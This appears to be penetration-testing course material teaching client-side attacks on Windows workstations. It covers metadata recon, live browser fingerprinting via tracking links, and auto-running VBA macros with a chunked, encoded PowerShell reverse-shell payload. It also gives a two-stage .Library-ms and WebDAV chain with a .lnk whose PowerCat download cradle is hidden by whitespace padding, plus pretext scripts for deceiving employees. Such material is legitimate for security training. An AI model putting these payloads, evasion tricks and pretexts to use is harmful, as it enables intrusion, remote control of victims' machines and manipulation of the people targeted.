Nothing to Scan
Every network attack so far has targeted a machine: an exposed port, a vulnerable service, a misconfigured server.
But what happens when there’s nothing exposed?
Modern perimeters are hard:
- Firewalls drop unsolicited traffic
- Services are patched
- The interesting machines (employee workstations) sit on a non-routable internal network
You can’t scan them. You can’t reach them. There’s no service to attack.
So you go through the person sitting at the keyboard.
A client-side attack delivers a malicious file or link to a user and relies on them to execute it. The payload runs on their machine, inside the perimeter, where you could never reach on your own.
This is the technical other half of phishing. Phishing gets the user to act. Client-side attacks are what runs when they do.
Part 1: Knowing the Target
Before building a payload, you need to know what it has to run on.
- A macro is useless against a Mac
- A Windows shortcut is useless against Linux
- A browser exploit is useless against the wrong browser
The payload must match the target. Recon comes first, always.
Recon Without a Connection
Network reconnaissance assumes you can reach the target. Client-side recon usually can’t.
The target workstation is behind the perimeter with no exposed services. You can’t port scan it, you can’t query it, you can’t touch it directly.
Instead, you gather from what the organization leaks publicly:
| Source | What it reveals |
|---|---|
| Company website | Tech stack, documents, contacts |
| Social media | Employee names, roles, routines |
| Job postings | Required software and versions |
| Document metadata | The exact software that made a file |
It’s slower and less certain than direct scanning, but invisible. You never send a single packet to the target, so there’s nothing to log and nothing to alert on.
Documents Are Intelligence
Every document an organization publishes carries hidden metadata:
- Who made it
- What software made it
- What operating system it ran on
- When it was created and modified
Most organizations never strip it.
The tool of choice is exiftool, which reads the metadata tags from almost any file:
exiftool -a -u brochure.pdf-ashows all tags, including duplicates-ushows unknown (unnamed) tags
The output is a profile of the target’s environment:
| Tag | Example value | What it tells you |
|---|---|---|
| Author | Stanley Yelnats | A real employee name, for pretext building |
| Creator / Producer | PowerPoint for Microsoft 365 | They run Microsoft Office |
| Create / Modify Date | 2022:04:27 | How current the intel is |
| (no “for Mac” tag) | Almost certainly Windows |
From a single brochure, you’ve learned the target runs Windows with Microsoft Office, and picked up a real employee’s name to drop into a pretext. No packets sent.
Finding the Documents
To collect documents in the first place, lean on search engine reconnaissance.
A Google dork surfaces every PDF the search engine has indexed for the domain:
site:targetcorp.com filetype:pdf Swap filetype:pdf for docx, xlsx, or pptx to widen the net.
If you’re willing to make noise, gobuster brute-forces specific extensions directly against the site:
gobuster dir -u http://targetcorp.com -w wordlist.txt -x pdf,docx,xlsxPrefer the passive route first. Google dorking touches Google, not the target. Gobuster hammers the target’s web server and leaves log entries. Start invisible, escalate only if needed.
Fingerprinting the Live Client
Metadata tells you what software created a document months ago. To learn what the target is running right now, you fingerprint them live.
The technique: get the target to open a link you control. When their browser connects, it gives up its IP, operating system, and browser, all without the target noticing.
A free service like Canarytokens makes this trivial. You generate a tracking URL, deliver it inside a pretext, and wait.
When the target clicks:
- They see a blank page (nothing suspicious)
- You receive their IP address, geolocation, and organization
- You receive their User-Agent (browser and OS)
- With JavaScript fingerprinting on, you get precise browser and OS details
Don’t Trust the User-Agent
The two sources of fingerprint data are not equally reliable:
| Source | How it works | Reliability |
|---|---|---|
| User-Agent | The browser declares its identity in a header | Low (trivially spoofed) |
| JavaScript fingerprinting | Code measures the browser’s real environment | High (observes behavior) |
The User-Agent is a claim. JavaScript fingerprinting is a measurement. When they disagree, trust the measurement.
One catch: the pretext has to justify the click. You can’t email a stranger a bare link.
Frame it. For example: “here’s a screenshot of the invoice with the error highlighted”, where the screenshot link is the tracking token. The target clicks for a reason that makes sense to them.
Part 2: Weaponizing Office
Once recon confirms the target runs Windows + Office, malicious macros become an option.
They’ve been an attacker favorite for decades and remain a common first stage in real-world ransomware intrusions.
The defenses against macros (Mark of the Web, Protected View, macros-blocked-by-default) were covered in Malicious Payloads. Here we focus on the offense: how a malicious macro is built, and how it gets you a shell.
What a Macro Can Reach
A macro is a small program written in Visual Basic for Applications (VBA), embedded inside an Office document.
VBA has access to:
- ActiveX objects
- The Windows Script Host
Which means it can reach straight into the operating system.
The key object is Wscript.Shell. Its Run method launches any program:
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub That single line spawns a PowerShell window. From there it’s a short step to a full payload.
Save as
.doc, not.docx. The modern.docxcan run macros but can’t store them without an attached template. The older.doc(and.docm) embed the macro directly.
Making It Run on Open
A macro named MyMacro doesn’t run by itself. Office provides two special trigger subroutines that fire automatically when a document opens:
AutoOpen()fires when Word opens the documentDocument_Open()fires on the document-open event
They cover slightly different cases, so a robust macro uses both, and each just calls the real payload.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub The moment the victim opens the document (and clicks past the macro warning), the payload fires.
From a Window to a Shell
Spawning a blank PowerShell window proves the macro works, but it’s not useful on its own.
The real payload is a download cradle: a one-liner that pulls a tool from your server and runs it in memory.
A common choice is PowerCat, a PowerShell reverse shell:
IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.5/powercat.ps1');
powercat -c 10.10.10.5 -p 4444 -e powershellTo survive special characters, the whole command is base64-encoded and run with powershell -enc.
The 255-Character Problem
There’s a catch. A base64-encoded payload is long, and VBA limits a single string literal to 255 characters. The encoded command won’t fit on one line.
The limit applies only to string literals, not to variables. So you split the payload into chunks and concatenate:
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgA"
Str = Str + "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMA"
Str = Str + "dABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUA"
' ... more chunks ...
CreateObject("Wscript.Shell").Run Str
End Sub A quick script slices the encoded blob into 50-character pieces and prints the Str = Str + "..." lines for you. At runtime, VBA reassembles the full command and runs it.
The macro warning only appears once per document name. After the victim enables content the first time, reopening the same file runs the macro silently. It only re-prompts if the filename changes.
Part 3: The Library File Trick
Macros are heavily defended, and most security-awareness training warns users about them specifically.
Windows library files are a lesser-known vector that often slips past both filters and users.
What a Library File Is
A Windows library is a virtual container that aggregates content from multiple locations into one view.
The Documents and Pictures libraries in Windows Explorer are the familiar examples. They’re defined by .Library-ms files, which are just XML.
The dangerous part: a library can point at a remote location, and Windows Explorer will happily display that remote folder as if it were local.
Two Stages
The attack chains a library file with a shortcut file:
- Stage one: the victim opens a
.Library-msthat points at a WebDAV share you control. Explorer shows it as an innocent local folder. - Stage two: inside that “folder” sits a
.lnkshortcut. The victim double-clicks it, and it runs a PowerShell reverse shell.
Why two stages? Because of delivery:
| Delivery method | What filters do |
|---|---|
Email a .lnk or web link directly | Often blocked (scanned for executable content) |
Email a .Library-ms file | Often passes (treated as a harmless config) |
The library file is the part that travels through email. The dangerous
.lnklives on your WebDAV share, never touching the victim’s mail filter. Explorer fetches it only when the victim opens the library.
Hosting the WebDAV Share
The remote location is a WebDAV server. A simple Python-based option is WsgiDAV:
pip3 install wsgidav
mkdir ~/webdav
wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ~/webdav/--host=0.0.0.0listens on all interfaces--auth=anonymousdisables authentication so the victim connects freely--rootsets the folder that becomes the share
Anything you drop in ~/webdav/ now appears inside the victim’s Explorer window when they open your library file.
Building the Library File
The .Library-ms is XML with three logical parts:
- General info (name, version, icon)
- Library properties (pinning, folder type)
- Library locations (the all-important remote URL)
Each tag shapes how convincing the fake folder looks.
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://10.10.10.5</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>The tags that matter:
| Tag | Purpose |
|---|---|
name | A DLL string reference. @windows.storage.dll,-34582 avoids text filters that flag literal strings like “shell32” |
iconReference | Picks the icon. imageres.dll,-1003 gives the Pictures folder icon, looking benign |
folderType | A GUID setting which columns Explorer shows. The Documents GUID feels native |
url | The payload. Points at your WebDAV share. The one tag that actually matters. |
Windows rewrites the file when opened. Explorer adds a
serializedtag caching the connection, which can break the file elsewhere. Reset the XML before each use. In practice the victim opens it once, so this is minor.
The Shortcut Payload
Stage two is a .lnk shortcut placed inside the WebDAV share. Its target is the same PowerCat download cradle:
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.10.5:8000/powercat.ps1'); powercat -c 10.10.10.5 -p 4444 -e powershell"When the victim double-clicks the shortcut, PowerShell fetches PowerCat and connects a reverse shell back to you.
Hiding the Command
A shortcut’s target is visible in its properties, and that PowerShell one-liner looks extremely suspicious to anyone who checks.
There’s a trick for the tech-savvy victim.
Put a benign command at the start of the target, followed by enough whitespace to push the malicious command out of the visible area of the properties dialog:
notepad.exe powershell -c "IEX..." - A user who opens the properties sees
notepad.exeand nothing alarming - The real payload is padded far off to the right, out of view
- The shortcut still runs both when double-clicked
Give the shortcut a plausible name.
automatic_configuration.lnkinside a folder calledconfigfits a pretext about IT rolling out new settings far better thanshell.lnkwould.
Putting It Together
The full chain, delivered with a pretext like “I’m new on the IT team, please open this config file and double-click automatic_configuration”:
- Victim receives
config.Library-msby email or share - They double-click it. Explorer opens what looks like a local
configfolder - The folder is really your WebDAV share, showing
automatic_configuration.lnk - They double-click the shortcut
- PowerShell runs the download cradle, pulls PowerCat, and connects back
- You have a reverse shell inside the perimeter
Neither stage required a macro. Neither stage put an executable through the mail filter. The only thing the victim received was a harmless-looking config file.
Why Client-Side Wins
Client-side attacks succeed where network attacks can’t even start:
- The target workstation has no exposed services to attack directly
- The payload runs inside the perimeter, past the firewall
- Library files and shortcuts slip past mail filters that block executables
- The whole approach exploits the user, who can’t be patched
The defender’s hardened perimeter doesn’t matter if a single employee double-clicks the wrong file. That’s the insidious part: there’s no service to fix, only a person to convince.